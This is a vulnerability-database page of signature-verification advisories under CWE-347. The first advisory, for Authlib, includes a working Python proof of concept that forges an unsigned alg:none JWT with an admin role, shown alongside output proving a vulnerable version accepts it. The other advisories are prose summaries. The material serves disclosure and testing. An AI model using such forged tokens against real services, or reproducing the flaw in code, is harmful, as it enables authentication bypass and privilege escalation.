PoC

from authlib.jose import jwt, JsonWebKey
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
import json
import base64


def create_jwks():
    private_key = rsa.generate_private_key(
        public_exponent=65537, key_size=2048, backend=default_backend()
    )
    public_pem = private_key.public_key().public_bytes(
        encoding=serialization.Encoding.PEM,
        format=serialization.PublicFormat.SubjectPublicKeyInfo,
    )
    jwk = JsonWebKey.import_key(public_pem).as_dict()
    jwk["kid"] = "test-key-001"
    jwk["use"] = "sig"
    jwk["alg"] = "RS256"
    jwks = {"keys": [jwk]}
    return jwks


def create_forged_token_with_alg_none():
    forged_header = {"alg": "none"}
    forged_payload = {
        "sub": "user123",
        "role": "admin",
        "iat": 1735603200,
    }

    header_b64 = base64.urlsafe_b64encode(
        json.dumps(forged_header).encode("utf-8")
    ).rstrip(b"=")

    payload_b64 = base64.urlsafe_b64encode(
        json.dumps(forged_payload).encode("utf-8")
    ).rstrip(b"=")

    forged_token = header_b64 + b"." + payload_b64 + b"."
    return forged_token


jwks = create_jwks()
forged_token = create_forged_token_with_alg_none()
try:
    claims = jwt.decode(forged_token, jwks)
    print(f"VULNERABLE: Forged token (alg:none) accepted: role={claims['role']}")
except Exception as e:
    print(f"SECURE: Token rejected - {type(e).__name__}")

Output:

pip install -q authlib==1.5.2
python3 authlib_alg_none_vulnerability.py 
SECURE: Token rejected - BadSignatureError
pip install -q authlib==1.6.5
python3 authlib_alg_none_vulnerability.py 
VULNERABLE: Forged token (alg:none) accepted: role=admin

Impact

Users of the library are likely not aware that they now need to check the provided headers and disallow alg: none usage, it is not obvious from the release notes that any action needs to be taken. As a best-practice, the library should adopt a 'secure by default' stance and default to rejecting it and allow the application to provide an algorithm whitelist.

Applications using this library for authentication or authorization may accept malicious, forged JWTs, leading to: - Authentication bypass - Privilege escalation - Unauthorized access - Modification of application data

Severity
7.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.6.6"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "authlib"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.6.5"
            },
            {
              "fixed": "1.6.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-28802"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-04T20:55:47Z",
    "nvd_published_at": "2026-03-06T07:16:01Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nAfter upgrading the library from 1.5.2 to 1.6.0 (and the latest 1.6.5) it was noticed that previous tests involving passing a malicious JWT containing alg: none and an empty signature was passing the signature verification step without any changes to the application code when a failure was expected. \n\n### Details\nIt was likely introduced in this commit:\nhttps://github.com/authlib/authlib/commit/a61c2acb807496e67f32051b5f1b1d5ccf8f0a75\n\n### PoC\n```\nfrom authlib.jose import jwt, JsonWebKey\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.primitives import serialization\nfrom cryptography.hazmat.backends import default_backend\nimport json\nimport base64\n\n\ndef create_jwks():\n    private_key = rsa.generate_private_key(\n        public_exponent=65537, key_size=2048, backend=default_backend()\n    )\n    public_pem = private_key.public_key().public_bytes(\n        encoding=serialization.Encoding.PEM,\n        format=serialization.PublicFormat.SubjectPublicKeyInfo,\n    )\n    jwk = JsonWebKey.import_key(public_pem).as_dict()\n    jwk[\"kid\"] = \"test-key-001\"\n    jwk[\"use\"] = \"sig\"\n    jwk[\"alg\"] = \"RS256\"\n    jwks = {\"keys\": [jwk]}\n    return jwks\n\n\ndef create_forged_token_with_alg_none():\n    forged_header = {\"alg\": \"none\"}\n    forged_payload = {\n        \"sub\": \"user123\",\n        \"role\": \"admin\",\n        \"iat\": 1735603200,\n    }\n\n    header_b64 = base64.urlsafe_b64encode(\n        json.dumps(forged_header).encode(\"utf-8\")\n    ).rstrip(b\"=\")\n\n    payload_b64 = base64.urlsafe_b64encode(\n        json.dumps(forged_payload).encode(\"utf-8\")\n    ).rstrip(b\"=\")\n\n    forged_token = header_b64 + b\".\" + payload_b64 + b\".\"\n    return forged_token\n\n\njwks = create_jwks()\nforged_token = create_forged_token_with_alg_none()\ntry:\n    claims = jwt.decode(forged_token, jwks)\n    print(f\"VULNERABLE: Forged token (alg:none) accepted: role={claims[\u0027role\u0027]}\")\nexcept Exception as e:\n    print(f\"SECURE: Token rejected - {type(e).__name__}\")\n```\n\nOutput:\n```\npip install -q authlib==1.5.2\npython3 authlib_alg_none_vulnerability.py \nSECURE: Token rejected - BadSignatureError\npip install -q authlib==1.6.5\npython3 authlib_alg_none_vulnerability.py \nVULNERABLE: Forged token (alg:none) accepted: role=admin\n```\n\n### Impact\nUsers of the library are likely not aware that they now need to check the provided headers and disallow `alg: none` usage, it is not obvious from the release notes that any action needs to be taken. As a best-practice, the library should adopt a \u0027secure by default\u0027 stance and default to rejecting it and allow the application to provide an algorithm whitelist.\n\nApplications using this library for authentication or authorization may accept malicious, forged JWTs, leading to:\n- Authentication bypass\n- Privilege escalation\n- Unauthorized access\n- Modification of application data",
  "id": "GHSA-7wc2-qxgw-g8gg",
  "modified": "2026-03-06T21:56:55Z",
  "published": "2026-03-04T20:55:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/authlib/authlib/security/advisories/GHSA-7wc2-qxgw-g8gg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28802"
    },
    {
      "type": "WEB",
      "url": "https://github.com/authlib/authlib/commit/a61c2acb807496e67f32051b5f1b1d5ccf8f0a75"
    },
    {
      "type": "WEB",
      "url": "https://github.com/authlib/authlib/commit/b87c32ed07b8ae7f805873e1c9cafd1016761df7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/authlib/authlib"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Authlib: Setting `alg: none` and a blank signature appears to bypass signature verification"
}

GHSA-7XFJ-4R7X-3733

Vulnerability from github – Published: 2025-01-14 15:30 – Updated: 2025-01-21 21:30
VLAI
Details

Howyar UEFI Application "Reloader" (32-bit and 64-bit) is vulnerable to execution of unsigned software in a hardcoded path.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-7344"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-14T14:15:34Z",
    "severity": "MODERATE"
  },
  "details": "Howyar UEFI Application \"Reloader\"  (32-bit and 64-bit)  is vulnerable to execution of unsigned software in a hardcoded path.",
  "id": "GHSA-7xfj-4r7x-3733",
  "modified": "2025-01-21T21:30:50Z",
  "published": "2025-01-14T15:30:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7344"
    },
    {
      "type": "WEB",
      "url": "https://uefi.org/revocationlistfile"
    },
    {
      "type": "WEB",
      "url": "https://uefi.org/specs/UEFI/2.10/03_Boot_Manager.html"
    },
    {
      "type": "WEB",
      "url": "https://uefi.org/specs/UEFI/2.10/32_Secure_Boot_and_Driver_Signing.html"
    },
    {
      "type": "WEB",
      "url": "https://www.eset.com/blog/enterprise/preparing-for-uefi-bootkits-eset-discovery-shows-the-importance-of-cyber-intelligence"
    },
    {
      "type": "WEB",
      "url": "https://www.kb.cert.org/vuls/id/529659"
    },
    {
      "type": "WEB",
      "url": "https://www.welivesecurity.com/en/eset-research/under-cloak-uefi-secure-boot-introducing-cve-2024-7344"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7XHQ-G53M-H2MX

Vulnerability from github – Published: 2023-08-31 18:30 – Updated: 2023-08-31 18:30
VLAI
Details

Local privilege escalation due to unrestricted loading of unsigned libraries. The following products are affected: Acronis Agent (macOS) before build 30600, Acronis Cyber Protect 15 (macOS) before build 35979.

Severity
7.8 (High)
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-41744"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-08-31T16:15:10Z",
    "severity": "HIGH"
  },
  "details": "Local privilege escalation due to unrestricted loading of unsigned libraries. The following products are affected: Acronis Agent (macOS) before build 30600, Acronis Cyber Protect 15 (macOS) before build 35979.",
  "id": "GHSA-7xhq-g53m-h2mx",
  "modified": "2023-08-31T18:30:28Z",
  "published": "2023-08-31T18:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-41744"
    },
    {
      "type": "WEB",
      "url": "https://security-advisory.acronis.com/advisories/SEC-4728"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8474-V7FQ-4HMM

Vulnerability from github – Published: 2023-10-10 15:30 – Updated: 2024-04-04 08:29
VLAI
Details

The BIG-IP Edge Client Installer on macOS does not follow best practices for elevating privileges during the installation process.  This vulnerability is due to an incomplete fix for CVE-2023-38418.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-43611"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-10-10T13:15:21Z",
    "severity": "HIGH"
  },
  "details": "\nThe BIG-IP Edge Client Installer on macOS does not follow best practices for elevating privileges during the installation process.\u00a0 This vulnerability is due to an incomplete fix for CVE-2023-38418.\u00a0\u00a0Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated\n\n",
  "id": "GHSA-8474-v7fq-4hmm",
  "modified": "2024-04-04T08:29:18Z",
  "published": "2023-10-10T15:30:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-43611"
    },
    {
      "type": "WEB",
      "url": "https://my.f5.com/manage/s/article/K000136185"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-849V-5927-J7JQ

Vulnerability from github – Published: 2025-11-04 03:30 – Updated: 2025-12-17 21:30
VLAI
Details

A downgrade issue affecting Intel-based Mac computers was addressed with additional code-signing restrictions. This issue is fixed in macOS Sonoma 14.8.2, macOS Sequoia 15.7.2. An app may be able to access sensitive user data.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-43468"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-11-04T02:15:51Z",
    "severity": "HIGH"
  },
  "details": "A downgrade issue affecting Intel-based Mac computers was addressed with additional code-signing restrictions. This issue is fixed in macOS Sonoma 14.8.2, macOS Sequoia 15.7.2. An app may be able to access sensitive user data.",
  "id": "GHSA-849v-5927-j7jq",
  "modified": "2025-12-17T21:30:38Z",
  "published": "2025-11-04T03:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-43468"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/125634"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/125635"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/125636"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-84WC-9427-HW23

Vulnerability from github – Published: 2022-05-24 17:22 – Updated: 2025-10-22 00:31
VLAI
Details

When Security Assertion Markup Language (SAML) authentication is enabled and the 'Validate Identity Provider Certificate' option is disabled (unchecked), improper verification of signatures in PAN-OS SAML authentication enables an unauthenticated network-based attacker to access protected resources. The attacker must have network access to the vulnerable server to exploit this vulnerability. This issue affects PAN-OS 9.1 versions earlier than PAN-OS 9.1.3; PAN-OS 9.0 versions earlier than PAN-OS 9.0.9; PAN-OS 8.1 versions earlier than PAN-OS 8.1.15, and all versions of PAN-OS 8.0 (EOL). This issue does not affect PAN-OS 7.1. This issue cannot be exploited if SAML is not used for authentication. This issue cannot be exploited if the 'Validate Identity Provider Certificate' option is enabled (checked) in the SAML Identity Provider Server Profile. Resources that can be protected by SAML-based single sign-on (SSO) authentication are: GlobalProtect Gateway, GlobalProtect Portal, GlobalProtect Clientless VPN, Authentication and Captive Portal, PAN-OS next-generation firewalls (PA-Series, VM-Series) and Panorama web interfaces, Prisma Access In the case of GlobalProtect Gateways, GlobalProtect Portal, Clientless VPN, Captive Portal, and Prisma Access, an unauthenticated attacker with network access to the affected servers can gain access to protected resources if allowed by configured authentication and Security policies. There is no impact on the integrity and availability of the gateway, portal or VPN server. An attacker cannot inspect or tamper with sessions of regular users. In the worst case, this is a critical severity vulnerability with a CVSS Base Score of 10.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N). In the case of PAN-OS and Panorama web interfaces, this issue allows an unauthenticated attacker with network access to the PAN-OS or Panorama web interfaces to log in as an administrator and perform administrative actions. In the worst-case scenario, this is a critical severity vulnerability with a CVSS Base Score of 10.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H). If the web interfaces are only accessible to a restricted management network, then the issue is lowered to a CVSS Base Score of 9.6 (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H). Palo Alto Networks is not aware of any malicious attempts to exploit this vulnerability.

Severity
10.0 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-2021"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-06-29T15:15:00Z",
    "severity": "HIGH"
  },
  "details": "When Security Assertion Markup Language (SAML) authentication is enabled and the \u0027Validate Identity Provider Certificate\u0027 option is disabled (unchecked), improper verification of signatures in PAN-OS SAML authentication enables an unauthenticated network-based attacker to access protected resources. The attacker must have network access to the vulnerable server to exploit this vulnerability. This issue affects PAN-OS 9.1 versions earlier than PAN-OS 9.1.3; PAN-OS 9.0 versions earlier than PAN-OS 9.0.9; PAN-OS 8.1 versions earlier than PAN-OS 8.1.15, and all versions of PAN-OS 8.0 (EOL). This issue does not affect PAN-OS 7.1. This issue cannot be exploited if SAML is not used for authentication. This issue cannot be exploited if the \u0027Validate Identity Provider Certificate\u0027 option is enabled (checked) in the SAML Identity Provider Server Profile. Resources that can be protected by SAML-based single sign-on (SSO) authentication are: GlobalProtect Gateway, GlobalProtect Portal, GlobalProtect Clientless VPN, Authentication and Captive Portal, PAN-OS next-generation firewalls (PA-Series, VM-Series) and Panorama web interfaces, Prisma Access In the case of GlobalProtect Gateways, GlobalProtect Portal, Clientless VPN, Captive Portal, and Prisma Access, an unauthenticated attacker with network access to the affected servers can gain access to protected resources if allowed by configured authentication and Security policies. There is no impact on the integrity and availability of the gateway, portal or VPN server. An attacker cannot inspect or tamper with sessions of regular users. In the worst case, this is a critical severity vulnerability with a CVSS Base Score of 10.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N). In the case of PAN-OS and Panorama web interfaces, this issue allows an unauthenticated attacker with network access to the PAN-OS or Panorama web interfaces to log in as an administrator and perform administrative actions. In the worst-case scenario, this is a critical severity vulnerability with a CVSS Base Score of 10.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H). If the web interfaces are only accessible to a restricted management network, then the issue is lowered to a CVSS Base Score of 9.6 (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H). Palo Alto Networks is not aware of any malicious attempts to exploit this vulnerability.",
  "id": "GHSA-84wc-9427-hw23",
  "modified": "2025-10-22T00:31:55Z",
  "published": "2022-05-24T17:22:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-2021"
    },
    {
      "type": "WEB",
      "url": "https://security.paloaltonetworks.com/CVE-2020-2021"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2020-2021"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-84X5-5F67-WJP4

Vulnerability from github – Published: 2025-08-05 06:30 – Updated: 2025-08-05 06:30
VLAI
Details

An improper verification of cryptographic signature in Zscaler's SAML authentication mechanism on the server-side allowed an authentication abuse.

Severity
9.6 (Critical)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-54982"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-05T06:15:26Z",
    "severity": "CRITICAL"
  },
  "details": "An improper verification of cryptographic signature in Zscaler\u0027s SAML authentication mechanism on the server-side allowed an authentication abuse.",
  "id": "GHSA-84x5-5f67-wjp4",
  "modified": "2025-08-05T06:30:31Z",
  "published": "2025-08-05T06:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54982"
    },
    {
      "type": "WEB",
      "url": "https://help.zscaler.com/zia/about-identity-providers"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-463: Padding Oracle Crypto Attack

An adversary is able to efficiently decrypt data without knowing the decryption key if a target system leaks data on whether or not a padding error happened while decrypting the ciphertext. A target system that leaks this type of information becomes the padding oracle and an adversary is able to make use of that oracle to efficiently decrypt data without knowing the decryption key by issuing on average 128*b calls to the padding oracle (where b is the number of bytes in the ciphertext block). In addition to performing decryption, an adversary is also able to produce valid ciphertexts (i.e., perform encryption) by using the padding oracle, all without knowing the encryption key.

CAPEC-475: Signature Spoofing by Improper Validation

An adversary exploits a cryptographic weakness in the signature verification algorithm implementation to generate a valid signature without knowing the key.

← Back to the CWE list